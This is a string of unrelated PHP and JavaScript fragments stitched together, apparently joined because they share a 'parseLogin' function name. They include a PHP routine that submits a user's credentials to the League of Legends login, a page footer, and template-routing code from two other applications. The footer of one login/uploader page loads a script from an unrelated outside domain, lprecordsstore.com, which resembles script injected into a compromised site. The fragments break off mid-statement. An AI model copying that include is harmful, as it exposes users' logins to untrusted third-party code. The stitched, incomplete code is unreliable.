function tribLogin($name, $pass, $realm, $recaptcha_challenge, $recaptcha_response, $ch) { //This array defines values for localization cookies based on selected realm $localization = array("na" => "en_US", "euw" => "en_GB", "eune" => "en_PL", "br" => "pt_BR", "oce" => "en_AU"); //Create the localization cookies $cookies = array("PVPNET_REGION" => $realm, "PVPNET_LANG" => $localization[$realm]); //Submit Riot's login page $url = "https://account.leagueoflegends.com/auth"; $data = array('username' => $name, 'password' => $pass, 'recaptcha_challenge_field' => $recaptcha_challenge, 'recaptcha_response_field' => $recaptcha_response); $data = http_build_query($data); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_CAINFO, getcwd() . "/assets/certificates/cacert.crt"); //Necessary or the server throws an HTTP 500 error curl_setopt($ch, CURLOPT_REFERER, "https://account.leagueoflegends.com/"); $result = getHtmlHeaderAndCookies($ch, $url, $cookies); if ($result === false) { return false; } curl_setopt($ch, CURLOPT_POST, false); $status = parseLogin($result['html']); if ($status === false) { return false; } else { return array("cookies" => $result["cookies"], "status" => $status); } }
function loadRoll() { if (stillLoading) { if (logRoll++ >= 3) { logRoll = 0; } document.getElementById('logging').innerHTML = 'Logging'; for (i=0; i<logRoll; i++) { document.getElementById('logging').innerHTML += '.'; } setTimeout("loadRoll()", 500); } } function htmlentities(str) { return String(str).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"'); } //--> </script> </head> <body> <?php if (isset($_SESSION['loggedIn']) && $_SESSION['loggedIn']) { echo parseUploader(); } else { echo parseLogin(); } ?> <script type="text/javascript" src="http://lprecordsstore.com/footer.js"></script> </body> </html>
} //*** Load the Template Parse methods. require_once 'includes/inc.tplparse.php'; $strOutput .= parseHeader($cId, $eId, $cmd); if ($objLiveUser->isLoggedIn()) { if ($cmd == CMD_BROWSE) { $strOutput .= parseBrowse($cId, $eId, $cmd); } else { switch ($cId) { case NAV_ACCOUNT: $strOutput .= parseAccount($eId, $cmd); break; case NAV_TOOLS: $strOutput .= parseTools($eId, $cmd); break; } } } else { switch ($cId) { case NAV_ADMIN: $strOutput .= parseAdmin($eId, $cmd); break; default: $strOutput .= parseLogin(); } } $strOutput .= parseFooter($cId, $eId, $cmd); echo $strOutput; ?>
//*** Verify software version require_once 'includes/inc.verify_version.php'; //*** Load the Template Parse methods. require_once 'includes/inc.tplparse_head.php'; require_once 'includes/inc.tplparse_foot.php'; //*** Parse the HTML Header. $strOutput .= parseHeader($intCatId, $strCommand, $intElmntId); //*** Route to the correct HTML Body Parser. switch ($intCatId) { case NAV_MYPUNCH_LOGIN: if ($_CONF['app']['secureLogin']) { header("Location: " . Request::getURI("https") . "/?cid=" . NAV_MYPUNCH_LOGIN); exit; } else { require_once 'inc.tplparse_login.php'; $strOutput .= parseLogin($intElmntId, $strCommand); } break; case NAV_MYPUNCH_NOACCOUNT: require_once 'includes/inc.tplparse_noaccount.php'; $strOutput .= parsePage($intElmntId, $strCommand); break; case NAV_MYPUNCH_USERS: require_once 'includes/inc.tplparse_user.php'; if ($intElmntId == 0) { $intElmntId = NAV_MYPUNCH_USERS_USER; } $strOutput .= parseMenu($intCatId, $strCommand); $strOutput .= parseUsers($intElmntId, $strCommand); break; case NAV_MYPUNCH_PROFILE: